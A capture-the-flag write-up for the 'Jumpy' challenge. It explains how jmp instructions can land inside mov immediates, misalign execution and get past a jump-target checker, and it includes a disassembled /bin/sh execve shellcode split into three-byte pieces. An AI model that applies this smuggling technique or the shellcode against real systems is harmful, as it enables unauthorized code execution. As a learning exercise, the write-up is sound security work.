Jumpy

Thundernerds - 05/09/2021


We're given two files (jumpy and jumpy.c) and otherwise no description.

Here is the whole source file for reference, if needed:

To summarise it's execution:

  1. 0x1000 bytes of memory are allocated, and all set to hold the opcode for the x86 ret instruction
  2. Assembly instructions are sequentially read in, one line at a time. If the instruction mnemonic is not valid then the program stops reading in instructions and continues to (3). Valid mnemonics are:
    • ret, which writes a simple ret instruction to the block
    • moveax, which writes b8 followed by a 32 bit user inputted integer - thus forming mov eax, num
    • jmp, which writes eb followed by an 8 bit user inputted integer - thus forming jmp rip+num. An array of jmp targets is also built for the next step.
  3. The target address of each jmp is checked that it hits one of ret, moveax or jmp - if it doesn't, the program is aborted.
  4. The code is made executable, and then called.

I used the jmp instructions to start executing code inside the literal of a moveax instruction, thus misaligning rip allowing me to fill in arbitrary shellcode.

For example:

0: jmp 1
2: moveax 0x909000eb
3: ...
would be encoded as
eb 01 # jmp 1
b8 eb 00 90 90 # mov eax, 0x909000eb
This will be considered valid by the checker, as the target of the jmp is eb, which is a valid opcode. After the jmp into the mov however, disassembly would change to look like this:
eb 00 # jmp 0
90 # nop
90 # nop
This works well, after the initial jmp we can write any code, the only catch is that we cannot fit more than three bytes of code (with the exception of the first, which can only fit 1) per moveax, as the last needs to be used to keep rip misaligned, for example the (valid) input
0: jmp 1
2: moveax 0xb39000eb
7: moveax 0x90909090
would give
eb 01 # jmp 1
b8 eb 00 90 b3 # mov eax, 0xb39000eb
b8 90 90 90 90 # mov eax, 0x90909090
which after being misaligned in the first jmp, becomes:
eb 00 # jmp 0
90 # nop
b3 b8 # mov cl, 0xb8 - just to consume the b8. The use of rcx is arbitrary, it just ends up being convenient later as it's not a register used in the rest of the shellcode
90 # nop
...
thus maintaining the misalignment. This means that whetever shellcode we craft will be limited to 3 bytes (or less) per instruction. With this in mind, we can start modifying pwnlib's /bin/sh invocating shellcode:
 0:   6a 68                   push   0x68
 2:   48 b8 2f 62 69 6e 2f    movabs rax, 0x732f2f2f6e69622f
 9:   2f 2f 73
 c:   50                      push   rax
 d:   48 89 e7                mov    rdi, rsp
10:   68 72 69 01 01          push   0x1016972
15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
1c:   31 f6                   xor    esi, esi
1e:   56                      push   rsi
1f:   6a 08                   push   0x8
21:   5e                      pop    rsi
22:   48 01 e6                add    rsi, rsp
25:   56                      push   rsi
26:   48 89 e6                mov    rsi, rsp
29:   31 d2                   xor    edx, edx
2b:   6a 3b                   push   0x3b
2d:   58                      pop    rax
2e:   0f 05                   syscall

There are only three intructions here with more than three bytes - 2, 10 and 15, but they can all be reduced to groups of no more than three in the same way. Taking the first as an example: movabs rax, 0x732f2f2f6e69622f, achieves the same as:

xor rax, rax # zero out rax
mov al, 0x73 # most significant byte will be 0x73
shl al, 8 # move it left 8 bits
mov al, 0x2f # next most significant byte will be 0x2f
shl al, 8 # move both left 8 bits
...
(Technically I shift first - which I could just optimise out, but it's more intuitive to show this way - shifting first means that the final byte isn't shifted as required). Unfortunately shl al, 8 is 4 bytes, but shl al, 1 is just 3, so I just repeated that 8 times instead. There may well be a more efficient way to do this, but it works :). The same idea can be applied to 10 and 15. This is the script I used to generate the input string:

It's not pretty, nor is it a nice general solution - but it does work, and I'm quite happy with it. It generates the below, which does give a shell from which a simple cat flag works.

The flag: ALLES!{people have probably done this before but my google foo is weak. segmented shellcode maybe?}. Unfortunately I did not submit in time, but I enjoyed the problem nontheless, and am quite happy I found a solution.